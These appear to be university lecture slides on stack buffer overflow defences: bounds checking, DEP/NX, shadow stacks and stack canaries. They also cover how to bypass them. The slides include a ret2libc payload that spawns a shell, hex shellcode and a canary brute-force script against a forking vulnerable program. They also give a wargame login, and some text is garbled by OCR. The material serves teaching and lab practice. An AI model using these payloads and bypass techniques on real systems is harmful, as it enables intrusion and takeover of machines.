NEU CY 5770 Software Vulnerabilities and Security

Instructor: Dr. Ziming Zhao

This Class

- 1. Stack-based buffer overflow
	- a. Defense

Defenses overview

- Prevent buffer overflow
	- A direct defense
	- \circ Could be accurate but could be slow
	- \circ Good in theory, but not practical in real world
- Make exploit harder
	- An indirect defense
	- \circ Could be inaccurate but could be fast
	- Simple in theory, widely deployed in real world

Examples

- Base and bound check
	- Prevent buffer overflow!
	- A direct defense
- Stack Canary/Cookie
	- An indirect defense
	- Prevent overwriting return address
- Data execution prevention (DEP, NX, etc.)
	- An indirect defense
	- Prevent using of shellcode on stack

Spatial Memory Safety – Base and Bound check

- char *a
- char *a base;
- char *a bound:
- $a = (char[*])$ malloc(512)
- a base = a ;
- a bound = $a+512$

Access must be between [a_base, a_bound)

- a[0], a[1], a[2], ..., and a[511] are OK
- a[512] NOT OK
- a[-1] NOT OK

Spatial Memory Safety – Base and Bound check

Propagation

- char $*b = a$;
	- b base = a base;
	- \cdot b bound = a bound;
- char $*c = 8b[2]$;
	- c base = b base;
	- c bound = b bound;

Overhead - Based and Bound

- +2x overhead on storing a pointer • char $*_a$
	- char *a base;
	- char *a bound;
- +2x overhead on assignment
- char $*b = a$;
	- \cdot b base = a base;
	- \cdot b bound = a bound;
- +2 comparisons added on access
- \cdot c[i]
	- if($c+i \geq c$ base)
	- \cdot if($c+i < c$ bound)

SoftBound: Highly Compatible and Complete Spatial Memory Safety for C

Jianzhou Zhao Milo M. K. Martin Steve Zdancewic Santosh Nagarakatte Computer and Information Sciences Department, University of Pennsylvania santoshn@cis.upenn.edu jianzhou@cis.upenn.edu milom@cis.upenn.edu stevez@cis.upenn.edu

Abstract

The serious bugs and security vulnerabilities facilitated by $C/C++s$ lack of bounds checking are well known, yet C and C++ remain in widespread use. Unfortunately, C's arbitrary pointer arithmetic,

dress on the stack, address space randomization, non-executable stack), vulnerabilities persist. For one example, in November 2008 Adobe released a security update that fixed several serious buffer overflows [2]. Attackers have reportedly exploited these bufferoverflow vulnerabilities by using banner ads on websites to redi-

PI DI 09

HardBound: Architectural Support for Spatial Safety of the C Programming Language

Joe Devietti *

University of Washington devietti@cs.washington.edu Colin Blundell

University of Pennsylvania blundell@cis.upenn.edu

Abstract

The C programming language is at least as well known for its absence of spatial memory safety guarantees (i.e., lack of bounds checking) as it is for its high performance. C's unchecked pointer arithmetic and array indexing allow simple programming mistakes to lead to erroneous executions, silent data corruption, and security vulnerabilities. Many prior proposals have tackled enforcing spatial safety in C programs by checking pointer and array accesses. However, existing software-only proposals have significant drawbacks that may prevent wide adoption, including: unacceptably high runtime overheads, lack of completeness, incompatible pointer representations, or need for non-trivial changes to existing C source code and compiler infractructure

Milo M. K. Martin University of Pennsylvania milom@cis.upenn.edu

Steve Zdancewic

University of Pennsylvania stevez@cis.upenn.edu

ASPLOS 09

Defense 1: Data Execution Prevention (DEP, W⨁**X, NX)**

Conditions we depend on to pull off the attack of returning to shellcode on stack

- 1. The ability to put the shellcode onto stack (env, command line)
- 2. The stack is executable
- 3. The ability to overwrite RET addr on stack before instruction **ret** is executed or to overwrite Saved EBP
- 4. Know the address of the destination function

Conditions we depend on to pull off the attack of returning to shellcode on stack

- 1. The ability to put the shellcode onto stack (env, command line)
- 2. The stack is executable
- 3. The ability to overwrite RET addr on stack before instruction **ret** is executed or to overwrite Saved EBP
- 4. Know the address of the destination function

Harvard vs. Von-Neumann Architecture

Harvard Architecture

The Harvard architecture stores machine instructions and data in separate memory units that are connected by different busses. In this case, there are at least two memory address spaces to work with, so there is a memory register for machine instructions and another memory register for data. Computers designed with the Harvard architecture are able to run a program and access data independently, and therefore simultaneously. Harvard architecture has a strict separation between data and code. Thus, Harvard architecture is more complicated but separate pipelines remove the bottleneck that Von Neumann creates.

Von-Neumann architecture

In a Von-Neumann architecture, the same memory and bus are used to store both data and instructions that run the program. Since you cannot access program memory and data memory simultaneously, the Von Neumann architecture is susceptible to bottlenecks and system performance is affected.

Older CPUs

Older CPUs: Read permission on a page implies execution. So all readable memory was executable.

AMD64 – introduced NX bit (No-eXecute in 2003)

Windows Supporting DEP from Windows XP SP2 (in 2004)

Linux Supporting NX since 2.6.8 (in 2004)

gcc parameter -z execstack to disable this protection

ziming@ziming-XPS-13-9300:~/Dropbox/myTeaching/System Security - Attack and Defense for Binaries UB 2020/code/overflow6\$ readelf -l of6nx

Elf file type is DYN (Shared object file) Entry point 0x1090 There are 12 program headers, starting at offset 52

What DEP cannot prevent

Can still corrupt stack or function pointers or critical data on the heap

As long as RET (saved EIP) points into legit code section, W⊕X protection will not block control transfer

Ret2libc 32bit Bypassing DEP

Discovered by Solar Designer, 1997

Ret2libc

Now programs built with non-executable stack.

Then, how to run a shell? Ret to C library **system("/bin/sh")** like how we called printsecret() in overflowret

Description

The C library function int system(const char *command) passes the command name or program name specified by command to the host environment to be executed by the command processor and returns after the command has been completed.

Declaration

Following is the declaration for system() function.

int system(const char *command)

Parameters

Command – This is the C string containing the name of the requested variable.

Return Value

The value returned is -1 on error, and the return status of the command otherwise.

Buffer Overflow Example: overflowret4_no_excstack_32

```
int vulfoo()
{
  char buf[30];
  gets(buf);
  return 0;
}
int main(int argc, char *argv[])
{
  vulfoo();
  printf("I pity the fool!\n"); 
}
```
Buffer Overflow Example: overflowret4_no_excstack_32

----------------*(python2 -c "print 'A'*52 + Addr1 + 'AAAA' + Addr2" ; cat) | ./bufferoverflow_overflowret4_no_excstack_32*

- 1. Addr1 is the address of system() function.
- 2. Addr2 is the address of a string "/bin/sh".

Get a user CTF shell. We will need Return-oriented programming to get a root shell.

We can also do system("cat /flag"). What padding to use in the string?

Conditions we depend on to pull off the attack of ret2libc

- 1. The ability to put the shellcode onto stack (env, command line)
- 2. The stack is executable
- 3. The ability to overwrite RET addr on stack before instruction **ret** is executed or to overwrite Saved EBP
- 4. Know the address of the destination function and arguments

Control Hijacking Attacks

Control flow

● Order in which individual statements, instructions or function calls of a program are executed or evaluated

Control Hijacking Attacks (Runtime exploit)

- A control hijacking attack exploits a program error, particularly a memory corruption vulnerability, at application runtime to subvert the intended control-flow of a program.
- Alter a code pointer (i.e., value that influences program counter) or, Gain control of the instruction pointer %eip
- Change memory region that should not be accessed

Code Injection Attacks

Code-injection Attacks

a subclass of control hijacking attacks that subverts the intended control-flow of a program to previously injected malicious code

Shellcode

- code supplied by attacker − often saved in buffer being overflowed − traditionally transferred control to a shell (user command-line interpreter)
- machine code − specific to processor and OS − traditionally needed good assembly language skills to create − more recently have automated sites/tools

Code-Reuse Attack

Code-Reuse Attack: a subclass of control-flow attacks that subverts the intended control-flow of a program to invoke an unintended execution path inside the original program code.

Return-to-Libc Attacks (Ret2Libc) Return-Oriented Programming (ROP) Jump-Oriented Programming (JOP)

Attacker's Goal

Take control of the victim's machine

- **EXALGO Higack the execution flow of a running program**
- **Execute arbitrary code**

Requirements

- Inject attack code or attack parameters
- Abuse vulnerability and modify memory such that control flow is redirected

Change of control flow

- **alter a code pointer** (RET, function pointer, etc.)
- change memory region that should not be accessed

Overflow Types

Overflow some **code pointer**

- Overflow memory region on the stack
	- overflow function return address
	- overflow function frame (base) pointer
	- overflow longjmp buffer
- Overflow (dynamically allocated) memory region on the heap
- Overflow function pointers
	- stack, heap, BSS

Other pointers?

Can we exploit other pointers as well?

- 1. Memory that is used in a **value** to influence mathematical operations, conditional jumps.
- 2. Memory that is used as a **read pointer** (or offset), allowing us to force the program to access arbitrary memory.
- 3. Memory that is used as a **write pointer** (or offset), allowing us to force the program to overwrite arbitrary memory.
- 4. Memory that is used as a **code pointer** (or offset), allowing us to redirect program execution!

Typically, you use one or more vulnerabilities to achieve multiple of these effects.

Defense-2: Shadow Stack

Shadow Stack

https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf

Traditional Shadow Stack

SUB \$4, %gs:108 # Decrement SSP MOV %gs:108, %eax # Copy SSP into EAX MOV (%esp), %ecx # Copy ret. address into MOV %ecx, (%eax) # shadow stack via ECX

Figure 2: Prologue for traditional shadow stack.

MOV %gs:108, %ecx # Copy SSP into ECX ADD \$4, %gs:108 # Increment SSP MOV (%ecx), %edx # Copy ret. address from MOV %edx, (%esp) # shadow stack via EDX RET

Figure 3: Epilogue for traditional shadow stack (overwriting).

Traditional Shadow Stack

```
MOV %gs:108, %ecx
ADD $4, %gs:108
MOV (%ecx), %edx
CMP %edx, (%esp) # Instead of overwriting,
JNZ abort # we compare
RET
abort:
   HLT
```
Figure 4: Epilogue for traditional shadow stack (checking).

Overhead - Traditional Shadow Stack

If no attack: 6 more instructions 2 memory moves 1 memory compare 1 conditional jmp

Per function

Shadow Stack

https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf

Parallel Shadow Stack

POP 999996(%esp) # Copy ret addr to shadow stack SUB \$4, %esp # Fix up stack pointer (undo POP)

Figure 7: Prologue for parallel shadow stack.

ADD \$4, %esp # Fix up stack pointer PUSH 999996(%esp) # Copy from shadow stack

Figure 8: Epilogue for parallel shadow stack.

Overhead Comparison

The overhead is roughly 10% for a traditional shadow stack.

The parallel shadow stack overhead is 3.5%.

Defense-3: Stack Cookie; Stack Canary

specific to sequential stack overflow

JANUARY 26-29, 1998 • SAN ANTONIO, TX, USA

USFNIX

StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks

Abstract:

This paper presents a systematic solution to the persistent problem of buffer overflow attacks. Buffer overflow attacks gained notoriety in 1988 as part of the Morris Worm incident on the Internet. While it is fairly simple to fix individual buffer overflow vulnerabilities, buffer overflow attacks continue to this day. Hundreds of attacks have been discovered, and while most of the obvious vulnerabilities have now been patched, more sophisticated buffer overflow attacks continue to emerge.

We describe StackGuard: a simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties. Privileged programs that are recompiled with the StackGuard compiler extension no longer yield control to the attacker, but rather enter a fail-safe state. These programs require no source code changes at all, and are binary-compatible with existing operating systems and libraries. We describe the compiler technique (a simple patch to gcc), as well as a set of variations on the technique that trade-off between penetration resistance and performance. We present experimental results of both the penetration resistance and the performance impact of this technique.

StackGuard

A compiler technique that attempts to eliminate buffer overflow vulnerabilities

- No source code changes
- Patch for the function prologue and epilogue
	- Prologue: push an additional value into the stack (canary)
	- Epilogue: check the canary value hasn't changed. If changed, exit.

Buffer Overflow Example: overflowret4

With and without Canary 32bit

overflowret4_cookie_32

Registers on x86 and amd64

With and without Canary

overflowret4_32 overflowret4_cookie_32

With and without Canary 64bit

or4_cookie_64

Overhead - Canary

If no attack: ? more instructions ? memory moves 1 memory compare 1 conditional jmp

Per function

%gs:0x14, %fs:0x28

A random canary is generated at program initialization, and stored in a global variable (pointed by gs, fs).

Applications on x86-64 uses FS or GS to access per thread context including Thread Local Storage (TLS).

Thread-local storage (TLS) is a computer programming method that uses static or global memory local to a thread.

Pwngdb command tls to get the address of tls

Data Structure https://code.woboq.org/userspace/glibc/sysdeps/x86_64/nptl/tls.h.html

Canary Types

- Random Canary The original concept for canary values took a pseudo random value generated when program is loaded
- Random XOR Canary The random canary concept was extended in StackGuard version 2 to provide slightly more protection by performing a XOR operation on the random canary value with the stored control data.
- Null Canary The canary value is set to 0x00000000 which is chosen based upon the fact that most string functions terminate on a null value and should not be able to overwrite the return address if the buffer must contain nulls before it can reach the saved address.
- Terminator Canary The canary value is set to a combination of Null, CR, LF, and 0xFF. These values act as string terminators in most string functions, and accounts for functions which do not simply terminate on nulls such as gets().

Terminator Canary

0x000aff0d

\x00: terminates strcpy \x0a: terminates gets (LF) \xff: Form feed \x0d: Carriage return

STATIC int

LIBC START MAIN (int (*main) (int, char **, char ** MAIN AUXVEC DECL), int argc, char ** argv, #ifdef LIBC START MAIN AUXVEC ARG

 $Elfw(auxv_t) *auxvec,$

#endif

typeof (main) init, void (*fini) (void). void (*rtld_fini) (void), void *stack_end)

#ifndef SHARED

char ** ev = 8 argv[argc + 1];

 $environ = ev;$

/* Store the lowest stack address. This is done in ld.so if this is the code for the DSO, $*/$ _libc_stack_end = stack end;

ifdef HAVE AUX VECTOR

- /* First process the auxiliary vector since we need to find the program header to locate an eventually present PT_TLS entry. */
- # ifndef LIBC START MAIN AUXVEC ARG $EIfW(auxv_t) *auxvec;$

 $char *_*evp = ev:$ while $(***evp++** != NULL)$

 \mathbf{E}

auxvec = $(ElfW(auxv t) *)$ evp;

endif

dl aux init (auxvec);

endif

_tunables_init (_environ);

ARCH_INIT_CPU_FEATURES ();

/* Do static pie self relocation after tunables and cpu features are setup for ifunc resolvers. Before this point relocations must be avoided. $*/$

dl_relocate_static_pie ();

/* Perform IREL{, A} relocations. */ ARCH_SETUP_IREL ();

/* The stack guard goes into the TCB, so initialize it early. */ ARCH SETUP TLS ();

/* In some architectures, IREL{, A} relocations happen after TLS setup in order to let IFUNC resolvers benefit from TCB information, e.g. powerpc's hwcap and platform fields available in the TCB. */ ARCH APPLY IREL ():

/* Set up the stack checker's canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); # ifdef THREAD SET STACK GUARD THREAD_SET_STACK_GUARD (stack_chk_guard); # else the party of the control of the control of the control of the control of the con-

https://elixir.bootlin.com/glibc/glibc-2.38/source/csu/libc-start.c#L288

Evolution of Canary

StackGuard published at the 1998 USENIX Security. StackGuard was introduced as a set of patches to the GCC 2.7.

From 2001 to 2005, IBM developed ProPolice. It places buffers after local pointers in the stack frame. This helped avoid the corruption of pointers, preventing access to arbitrary memory locations.

In 2012, Google engineers implemented the -fstack-protector-strong flag to strike a better balance between security and performance. This flag protects more kinds of vulnerable functions than -fstack-protector does, but not every function, providing better performance than -fstack-protector-all. It is available in GCC since its version 4.9.

Most packages in Ubuntu are compiled with -fstack-protector since 6.10. Every Arch Linux package is compiled with -fstack-protector since 2011. All Arch Linux packages built since 4 May 2014 use -fstack-protector-strong.

ProPolice

c
d
a
b

 a

 $\mathsf b$

 d

 \mathbf{C}

Bypass Canary -fstack-protector

Bypass Canary

- 1. Read the canary from the stack due to some information leakage vulnerabilities, e.g. format string
- 2. Brute force. 32-bit version. Least significant byte is 0, so there are 256^3 combinations = 16,777,216

If it take 1 second to guess once, it will take at most 194 days to guess the canary

Bypass Canary - Apps using fork()

- 1. Canary is generated when the process is created
- 2. A child process will not generate a new canary
- 3. So, we do not need to guess 3 bytes canary at the same time. Instead, we guess one byte a time. At most $256*3 = 768$ trials.

bypasscanary

}

{

}

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h> 
char g buffer[200] = {0};
int g read = 0;
int vulfoo()
{
        char buf[40];
        FILE *fp;
        while (1)
         {
                 fp = fopen("/tmp/exploit", "r");
                 if (fp)
                          break;}
         usleep(500 * 1000);
        g read = 0;
         memset(g_buffer, 0, 200);
         g_{\text{read}} = \text{freq}(g_{\text{buffer}}, 1, 70, fp);printf("Child reads %d bytes. Guessed canary is %x.\n", 
g_read, *(int*)(8g_buffer[40]));
```

```
memcpy(buf, g_buffer, g_read);
        fclose(fp);
        remove("/tmp/exploit");
        return 0;
int main(int argc, char *argv[])
        while(1)
         {
                 printf("\n");
                 if (fork() == 0)
                 {
                          //child
                          printf("Child pid: %d\n", getpid());
                          vulfoo();
                          printf("I pity the fool!\n");
                          exit(0);
                 }
                 else
                 {
                          //parent
                          int status;
                          printf("Parent pid: %d\n", getpid());
                          waitpid(-1, &status, 0);
                 } }
```


bc

Canary: 0x??????00

Demo

- 1. To make things easier, we put the shellcode in env variable.
- 2. Write a script to guess the canary byte by byte.
- 3. Send the full exploit to the program

export SCODE=\$(python2 -c "print '\x90' sled size + '\x6a\x67\x68\x2f\x66\x6c\x61\x31\xc0\xb0\x05\x89\xe3\x31\xc9\x31\xd2\xcd\x80\x 89\xc1\x31\xc0\xb0\x64\x89\xc6\x31\xc0\xb0\xbb\x31\xdb\xb3\x01\x31\xd2\xcd\x8 0\x31\xc0\xb0\x01\x31\xdb\xcd\x80' ")*

Example

#! /usr/bin/python2

```
import os.path
import time
import struct
from os import path
```

```
def main():
     for c1 in range(0, 255):
           while path.exists("exploit"):
                time.sleep(1)
```

```
f = open('exploit', 'w')
```

```
f.write(b'A'*40 + struct.pack("B", c1))
f.close()
```

```
if name == " main ":
    main()
```
In-class Exercise: Overthewire /behemoth/behemoth1

Overthewire

http://overthewire.org/wargames/

- 1. Open a terminal
- 2. Type: ssh -p 2221 behemoth1@behemoth.labs.overthewire.org
- 3. Input password: 8YpAQCAuKf
- 4. cd /behemoth; this is where the binary are
- 5. Hack the program behemoth1
- 6. Your goal is to get the password of user behemoth2, which is located at /etc/behemoth_pass/behemoth2

In-class Exercise: re_3_32 and re_4_64